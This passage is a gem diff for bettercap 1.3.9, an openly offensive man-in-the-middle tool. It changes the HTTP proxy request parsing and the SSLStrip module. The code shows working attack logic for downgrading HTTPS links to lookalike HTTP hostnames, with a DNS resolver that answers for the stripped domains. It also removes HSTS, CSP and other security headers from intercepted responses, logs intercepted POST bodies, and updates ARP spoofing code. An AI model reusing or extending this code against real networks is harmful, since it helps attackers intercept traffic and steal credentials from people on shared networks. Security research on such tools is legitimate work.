if @host =~ /([^:]*):([0-9]*)$/
|
115
|
+
@host = $1
|
116
|
+
@port = $2.to_i
|
117
|
+
end
|
118
|
+
when 'Content-Length'
|
119
|
+
@content_length = value.to_i
|
120
|
+
# we don't want to have hundreds of threads running
|
121
|
+
when 'Connection'
|
122
|
+
value = 'close'
|
123
|
+
when 'Proxy-Connection'
|
124
|
+
name = 'Connection'
|
125
|
+
# disable gzip, chunked, etc encodings
|
126
|
+
when 'Accept-Encoding'
|
127
|
+
value = 'identity'
|
114
128
|
end
|
115
|
-
# parse content length, this will speed up data streaming
|
116
|
-
elsif line =~ /^Content-Length:\s+(\d+)\s*$/i
|
117
|
-
@content_length = $1.to_i
|
118
|
-
# we don't want to have hundreds of threads running
|
119
|
-
elsif line =~ /^Connection: keep-alive/i
|
120
|
-
line = 'Connection: close'
|
121
|
-
elsif line =~ /^Proxy-Connection: (.+)/i
|
122
|
-
line = "Connection: #{$1}"
|
123
|
-
# disable gzip, chunked, etc encodings
|
124
|
-
elsif line =~ /^Accept-Encoding:.*/i
|
125
|
-
line = 'Accept-Encoding: identity'
|
126
|
-
end
|
127
129
|
|
128
|
-
|
129
|
-
if line =~ /^([^:\s]+)\s*:\s*(.+)$/i
|
130
|
-
@headers[$1] = $2
|
130
|
+
@headers[name] = value
|
131
131
|
end
|
132
|
-
|
133
|
-
@lines << line
|
134
132
|
end
|
135
133
|
|
136
134
|
# Return true if this is a POST request, otherwise false.
|
137
135
|
def post?
|
138
|
-
@
|
136
|
+
@method == 'POST'
|
139
137
|
end
|
140
138
|
|
141
139
|
# Return a string representation of the HTTP request.
|
142
140
|
def to_s
|
143
|
-
@
|
141
|
+
raw = "#{@method} #{@path} HTTP/#{@version}\n"
|
142
|
+
|
143
|
+
@headers.each do |name,value|
|
144
|
+
raw << "#{name}: #{value}\n"
|
145
|
+
end
|
146
|
+
|
147
|
+
raw << "\n"
|
148
|
+
raw << ( @body || '' )
|
149
|
+
raw
|
144
150
|
end
|
145
151
|
|
152
|
+
# Return SCHEMA://HOST
|
146
153
|
def base_url
|
147
|
-
|
148
|
-
"#{schema}://#{@host}/"
|
154
|
+
"#{port == 443 ? 'https' : 'http'}://#{@host}"
|
149
155
|
end
|
150
156
|
|
151
157
|
# Return the full request URL trimming it at +max_length+ characters.
|
152
158
|
def to_url(max_length = 50)
|
153
|
-
|
154
|
-
url = "#{schema}://#{@host}#{@url}"
|
159
|
+
url = "#{base_url}#{@path}"
|
155
160
|
unless max_length.nil?
|
156
161
|
url = url.slice(0..max_length) + '...' unless url.length <= max_length
|
157
162
|
end
|
@@ -160,37 +165,23 @@ class Request
|
|
160
165
|
|
161
166
|
# Return the value of header with +name+ or an empty string.
|
162
167
|
def [](name)
|
163
|
-
|
168
|
+
( @headers.has_key?(name) ? @headers[name] : "" )
|
164
169
|
end
|
165
170
|
|
166
171
|
# If the header with +name+ is found, then a +value+ is assigned to it.
|
167
172
|
# If +value+ is null and the header is found, it will be removed.
|
168
173
|
def []=(name, value)
|
169
|
-
|
170
|
-
|
171
|
-
|
172
|
-
|
173
|
-
|
174
|
-
@headers.delete(name)
|
175
|
-
@lines.delete_at(i)
|
176
|
-
else
|
177
|
-
@headers[name] = value
|
178
|
-
@lines[i] = "#{name}: #{value}"
|
179
|
-
end
|
180
|
-
break
|
174
|
+
if @headers.has_key?(name)
|
175
|
+
if value.nil?
|
176
|
+
@headers.delete(name)
|
177
|
+
else
|
178
|
+
@headers[name] = value
|
181
179
|
end
|
182
|
-
|
183
|
-
|
184
|
-
if name == 'Host'
|
185
|
-
@host = value
|
186
|
-
end
|
187
|
-
|
188
|
-
if !found and !value.nil?
|
180
|
+
elsif !value.nil?
|
189
181
|
@headers[name] = value
|
190
|
-
@lines << "#{name}: #{value}"
|
191
182
|
end
|
192
183
|
|
193
|
-
@
|
184
|
+
@host = value if name == 'Host'
|
194
185
|
end
|
195
186
|
end
|
196
187
|
end
|
@@ -155,13 +155,18 @@ class Response
|
|
155
155
|
found = false
|
156
156
|
@headers.each_with_index do |header,i|
|
157
157
|
if header =~ /^#{name}:\s*.+$/i
|
158
|
-
|
158
|
+
if value.nil?
|
159
|
+
@headers.delete(i)
|
160
|
+
else
|
161
|
+
@headers[i] = "#{name}: #{value}"
|
162
|
+
end
|
163
|
+
|
159
164
|
found = true
|
160
165
|
break
|
161
166
|
end
|
162
167
|
end
|
163
168
|
|
164
|
-
unless found
|
169
|
+
unless found or value.nil?
|
165
170
|
@headers << "#{name}: #{value}"
|
166
171
|
end
|
167
172
|
end
|
@@ -28,7 +28,8 @@ class StrippedObject
|
|
28
28
|
SUBDOMAIN_REPLACES = {
|
29
29
|
'www' => 'wwwww',
|
30
30
|
'webmail' => 'wwebmail',
|
31
|
-
'mail' => 'wmail'
|
31
|
+
'mail' => 'wmail',
|
32
|
+
'm' => 'wmobile'
|
32
33
|
}.freeze
|
33
34
|
|
34
35
|
# Create an instance with the given arguments.
|
@@ -38,6 +39,16 @@ class StrippedObject
|
|
38
39
|
@stripped = stripped
|
39
40
|
end
|
40
41
|
|
42
|
+
# Return the #original hostname.
|
43
|
+
def original_hostname
|
44
|
+
URI::parse(@original).hostname
|
45
|
+
end
|
46
|
+
|
47
|
+
# Return the #stripped hostname.
|
48
|
+
def stripped_hostname
|
49
|
+
URI::parse(@stripped).hostname
|
50
|
+
end
|
51
|
+
|
41
52
|
# Return a normalized version of +url+.
|
42
53
|
def self.normalize( url, schema = 'https' )
|
43
54
|
# add schema if needed
|
@@ -94,13 +105,15 @@ class Strip
|
|
94
105
|
@stripped = []
|
95
106
|
@cookies = CookieMonitor.new
|
96
107
|
@favicon = Response.from_file( File.dirname(__FILE__) + '/lock.ico', 'image/x-icon' )
|
108
|
+
@resolver = BetterCap::Network::Servers::DNSD.new
|
109
|
+
@resolver.start
|
97
110
|
end
|
98
111
|
|
99
112
|
# Return true if the +request+ was stripped.
|
100
113
|
def was_stripped?(request)
|
101
114
|
url = request.base_url
|
102
115
|
@stripped.each do |s|
|
103
|
-
if s.client == request.client and s.stripped
|
116
|
+
if s.client == request.client and s.stripped.start_with?(url)
|
104
117
|
return true
|
105
118
|
end
|
106
119
|
end
|
@@ -109,7 +122,7 @@ class Strip
|
|
109
122
|
|
110
123
|
def unstrip( request, url )
|
111
124
|
@stripped.each do |s|
|
112
|
-
if s.client == request.client and s.stripped
|
125
|
+
if s.client == request.client and s.stripped.start_with?(url)
|
113
126
|
return s.original
|
114
127
|
end
|
115
128
|
end
|
@@ -140,6 +153,7 @@ class Strip
|
|
140
153
|
return true
|
141
154
|
end
|
142
155
|
|
156
|
+
process_headers!(response)
|
143
157
|
process_body!( request, response )
|
144
158
|
|
145
159
|
# do not retry the request.
|
@@ -148,13 +162,23 @@ class Strip
|
|
148
162
|
|
149
163
|
private
|
150
164
|
|
151
|
-
# Clean some headers from +
|
152
|
-
def process_headers!(
|
153
|
-
request
|
154
|
-
|
155
|
-
|
156
|
-
|
157
|
-
|
165
|
+
# Clean some headers from +r+.
|
166
|
+
def process_headers!(r)
|
167
|
+
# clean request
|
168
|
+
if r.is_a?(BetterCap::Proxy::Request)
|
169
|
+
r['Accept-Encoding'] = nil
|
170
|
+
r['If-None-Match'] = nil
|
171
|
+
r['If-Modified-Since'] = nil
|
172
|
+
r['Upgrade-Insecure-Requests'] = nil
|
173
|
+
r['Pragma'] = 'no-cache'
|
174
|
+
# clean response
|
175
|
+
else
|
176
|
+
r['X-Frame-Options'] = nil
|
177
|
+
r['X-Content-Type-Options'] = nil
|
178
|
+
r['X-Xss-Protection'] = nil
|
179
|
+
r['Strict-Transport-Security'] = nil
|
180
|
+
r['Content-Security-Policy'] = nil
|
181
|
+
end
|
158
182
|
end
|
159
183
|
|
160
184
|
# If +request+ has unknown session cookies, create a client redirection
|
@@ -165,7 +189,7 @@ class Strip
|
|
165
189
|
unless @cookies.is_clean?(request)
|
166
190
|
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending expired cookies for '#{request.host}'."
|
167
191
|
expired = @cookies.get_expired_headers!(request)
|
168
|
-
response = Response.redirect(
|
192
|
+
response = Response.redirect( request.to_url(nil), expired )
|
169
193
|
end
|
170
194
|
response
|
171
195
|
end
|
@@ -179,7 +203,7 @@ class Strip
|
|
179
203
|
# i.e: http://wwww.facebook.com/
|
180
204
|
url = StrippedObject.normalize( stripped, 'http' )
|
181
205
|
# i.e: www.facebook.com
|
182
|
-
unstripped = unstrip( request, url ).gsub( 'https://', '' ).gsub('
|
206
|
+
unstripped = unstrip( request, url ).gsub( 'https://', '' ).gsub( 'http://', '' ).gsub( /\/.*/, '' )
|
183
207
|
|
184
208
|
# loop each header and fix the stripped url if needed,
|
185
209
|
# this will fix headers such as Host, Referer, Origin, etc.
|
@@ -205,7 +229,7 @@ class Strip
|
|
205
229
|
|
206
230
|
# Return true if +request+ is a favicon request.
|
207
231
|
def is_favicon?(request)
|
208
|
-
( request.
|
232
|
+
( request.path.include?('.ico') or request.path.include?('favicon') )
|
209
233
|
end
|
210
234
|
|
211
235
|
# If the +response+ is a redirect to a HTTPS location, patch the +response+ and
|
@@ -215,7 +239,7 @@ class Strip
|
|
215
239
|
if response['Location'].start_with?('https://')
|
216
240
|
original, stripped = StrippedObject.process( response['Location'] )
|
217
241
|
|
218
|
-
|
242
|
+
add_stripped_object StrippedObject.new( request.client, original, stripped )
|
219
243
|
|
220
244
|
# If MAX_REDIRECTS is reached, the 'Location' header will be used.
|
221
245
|
response['Location'] = stripped
|
@@ -259,15 +283,23 @@ class Strip
|
|
259
283
|
rescue; end
|
260
284
|
|
261
285
|
unless links.empty?
|
262
|
-
Logger.
|
286
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
|
263
287
|
|
264
288
|
links.each do |l|
|
265
289
|
original, stripped = l
|
266
|
-
|
290
|
+
add_stripped_object StrippedObject.new( request.client, original, stripped )
|
267
291
|
response.body.gsub!( original, stripped )
|
268
292
|
end
|
269
293
|
end
|
270
294
|
end
|
295
|
+
|
296
|
+
private
|
297
|
+
|
298
|
+
def add_stripped_object( o )
|
299
|
+
@stripped << o
|
300
|
+
# make sure we're able to resolve the stripped domain
|
301
|
+
@resolver.add_rule( o.stripped_hostname, IPSocket.getaddress( o.original_hostname ) )
|
302
|
+
end
|
271
303
|
end
|
272
304
|
|
273
305
|
end
|
@@ -48,8 +48,6 @@ class StreamLogger
|
|
48
48
|
# Given +proto+ and +port+ return the network service name if possible.
|
49
49
|
def self.service( proto, port )
|
50
50
|
if @@services.nil?
|
51
|
-
Logger.info 'Preloading network services ...'
|
52
|
-
|
53
51
|
@@services = { :tcp => {}, :udp => {} }
|
54
52
|
filename = File.dirname(__FILE__) + '/../network/services'
|
55
53
|
File.open( filename ).each do |line|
|
@@ -126,7 +124,7 @@ class StreamLogger
|
|
126
124
|
msg << "\n[#{'BODY'.green}]\n\n"
|
127
125
|
|
128
126
|
case request['Content-Type']
|
129
|
-
when
|
127
|
+
when /application\/x-www-form-urlencoded.*/i
|
130
128
|
msg << self.dump_form( request )
|
131
129
|
|
132
130
|
when 'gzip'
|
@@ -146,8 +144,6 @@ class StreamLogger
|
|
146
144
|
# Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
|
147
145
|
# with the +request+ and +response+ most important informations.
|
148
146
|
def self.log_http( request, response )
|
149
|
-
is_https = request.port == 443
|
150
|
-
request_s = "#{is_https ? 'https' : 'http'}://#{request.host}#{request.url}"
|
151
147
|
response_s = "( #{response.content_type} )"
|
152
148
|
request_s = request.to_url( request.post?? nil : @@MAX_REQ_SIZE )
|
153
149
|
code = response.code[0]
|
@@ -158,7 +154,7 @@ class StreamLogger
|
|
158
154
|
response_s += " [#{response.code}]"
|
159
155
|
end
|
160
156
|
|
161
|
-
Logger.raw "[#{self.addr2s(request.client)}] #{request.
|
157
|
+
Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s} #{response_s}"
|
162
158
|
# Log post body if the POST sniffer is enabled.
|
163
159
|
if Context.get.post_sniffer_enabled?
|
164
160
|
self.log_post( request )
|
@@ -20,21 +20,21 @@ class Streamer
|
|
20
20
|
def initialize( processor )
|
21
21
|
@processor = processor
|
22
22
|
@ctx = Context.get
|
23
|
-
@sslstrip = SSLStrip::Strip.new
|
23
|
+
@sslstrip = SSLStrip::Strip.new if @ctx.options.sslstrip
|
24
24
|
end
|
25
25
|
|
26
26
|
# Return true if the +request+ was stripped.
|
27
27
|
def was_stripped?(request, client)
|
28
28
|
if @ctx.options.sslstrip
|
29
|
-
request.client,
|
29
|
+
request.client, _ = get_client_details( client )
|
30
30
|
return @sslstrip.was_stripped?(request)
|
31
31
|
end
|
32
32
|
false
|
33
33
|
end
|
34
34
|
|
35
35
|
# Redirect the +client+ to a funny video.
|
36
|
-
def rickroll( client
|
37
|
-
client_ip, client_port = get_client_details(
|
36
|
+
def rickroll( client )
|
37
|
+
client_ip, client_port = get_client_details( client )
|
38
38
|
|
39
39
|
Logger.warn "#{client_ip}:#{client_port} is connecting to us directly."
|
40
40
|
|
@@ -44,10 +44,9 @@ class Streamer
|
|
44
44
|
# Handle the HTTP +request+ from +client+.
|
45
45
|
def handle( request, client, redirects = 0 )
|
46
46
|
response = Response.new
|
47
|
-
|
48
|
-
request.client, request.client_port = get_client_details( is_https, client )
|
47
|
+
request.client, _ = get_client_details( client )
|
49
48
|
|
50
|
-
Logger.debug "Handling #{request.
|
49
|
+
Logger.debug "Handling #{request.method} request from #{request.client} ..."
|
51
50
|
|
52
51
|
begin
|
53
52
|
r = nil
|
@@ -59,7 +58,7 @@ class Streamer
|
|
59
58
|
# call modules on_pre_request
|
60
59
|
@processor.call( request, nil )
|
61
60
|
|
62
|
-
self.send( "do_#{request.
|
61
|
+
self.send( "do_#{request.method}", request, response )
|
63
62
|
else
|
64
63
|
response = r
|
65
64
|
end
|
@@ -67,7 +66,7 @@ class Streamer
|
|
67
66
|
if response.textual?
|
68
67
|
StreamLogger.log_http( request, response )
|
69
68
|
else
|
70
|
-
Logger.debug "[#{request.client}] -> #{request.
|
69
|
+
Logger.debug "[#{request.client}] -> #{request.to_url} [#{response.code}]"
|
71
70
|
end
|
72
71
|
|
73
72
|
if @ctx.options.sslstrip
|
@@ -77,7 +76,7 @@ class Streamer
|
|
77
76
|
if redirects < SSLStrip::Strip::MAX_REDIRECTS
|
78
77
|
return self.handle( request, client, redirects + 1 )
|
79
78
|
else
|
80
|
-
Logger.info "[#{'SSLSTRIP'.
|
79
|
+
Logger.info "[#{'SSLSTRIP'.red} #{request.client}] Detected HTTPS redirect loop for '#{request.host}'."
|
81
80
|
end
|
82
81
|
end
|
83
82
|
end
|
@@ -87,7 +86,7 @@ class Streamer
|
|
87
86
|
|
88
87
|
client.write response.to_s
|
89
88
|
rescue NoMethodError => e
|
90
|
-
Logger.warn "Could not handle #{request.
|
89
|
+
Logger.warn "Could not handle #{request.method} request from #{request.client} ..."
|
91
90
|
Logger.exception e
|
92
91
|
end
|
93
92
|
end
|
@@ -95,20 +94,15 @@ class Streamer
|
|
95
94
|
private
|
96
95
|
|
97
96
|
# Return the +client+ ip address and port.
|
98
|
-
def get_client_details(
|
99
|
-
|
100
|
-
client_port, client_ip = Socket.unpack_sockaddr_in(client.getpeername)
|
101
|
-
else
|
102
|
-
_, client_port, _, client_ip = client.peeraddr
|
103
|
-
end
|
104
|
-
|
97
|
+
def get_client_details( client )
|
98
|
+
_, client_port, _, client_ip = client.peeraddr
|
105
99
|
[ client_ip, client_port ]
|
106
100
|
end
|
107
101
|
|
108
102
|
# Use a Net::HTTP object in order to perform the +req+ BetterCap::Proxy::Request
|
109
103
|
# object, will return a BetterCap::Proxy::Response object instance.
|
110
104
|
def perform_proxy_request(req, res)
|
111
|
-
path = req.
|
105
|
+
path = req.path
|
112
106
|
response = nil
|
113
107
|
http = Net::HTTP.new( req.host, req.port )
|
114
108
|
http.use_ssl = ( req.port == 443 )
|
@@ -92,7 +92,7 @@ private
|
|
92
92
|
break
|
93
93
|
end
|
94
94
|
|
95
|
-
Logger.debug "Spoofing #{@ctx.targets.size} targets ..."
|
95
|
+
# Logger.debug "Spoofing #{@ctx.targets.size} targets ..."
|
96
96
|
|
97
97
|
update_targets!
|
98
98
|
|
@@ -106,7 +106,7 @@ private
|
|
106
106
|
|
107
107
|
# Get the MAC address of the gateway and update it.
|
108
108
|
def update_gateway!
|
109
|
-
hw = Network.get_hw_address( @ctx
|
109
|
+
hw = Network.get_hw_address( @ctx, @ctx.gateway )
|
110
110
|
raise BetterCap::Error, "Couldn't determine router MAC" if hw.nil?
|
111
111
|
@gateway = Network::Target.new( @ctx.gateway, hw )
|
112
112
|
|
@@ -118,9 +118,9 @@ private
|
|
118
118
|
@ctx.targets.each do |target|
|
119
119
|
# targets could change, update mac addresses if needed
|
120
120
|
if target.mac.nil?
|
121
|
-
hw = Network.get_hw_address( @ctx
|
121
|
+
hw = Network.get_hw_address( @ctx, target.ip )
|
122
122
|
if hw.nil?
|
123
|
-
Logger.warn "Couldn't determine target #{ip} MAC address!"
|
123
|
+
Logger.warn "Couldn't determine target #{target.ip} MAC address!"
|
124
124
|
next
|
125
125
|
else
|
126
126
|
target.mac = hw
|
data/lib/bettercap/version.rb
CHANGED
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
|
|
12
12
|
=end
|
13
13
|
module BetterCap
|
14
14
|
# Current version of bettercap.
|
15
|
-
VERSION = '1.3.
|
15
|
+
VERSION = '1.3.9'
|
16
16
|
# Program banner.
|
17
17
|
BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
|
18
18
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: bettercap
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.3.
|
4
|
+
version: 1.3.9
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Simone Margaritelli
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2016-02-
|
11
|
+
date: 2016-02-16 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: colorize
|
@@ -148,6 +148,7 @@ files:
|
|
148
148
|
- lib/bettercap/network/servers/httpd.rb
|
149
149
|
- lib/bettercap/network/services
|
150
150
|
- lib/bettercap/network/target.rb
|
151
|
+
- lib/bettercap/network/validator.rb
|
151
152
|
- lib/bettercap/options.rb
|
152
153
|
- lib/bettercap/proxy/certstore.rb
|
153
154
|
- lib/bettercap/proxy/module.rb
|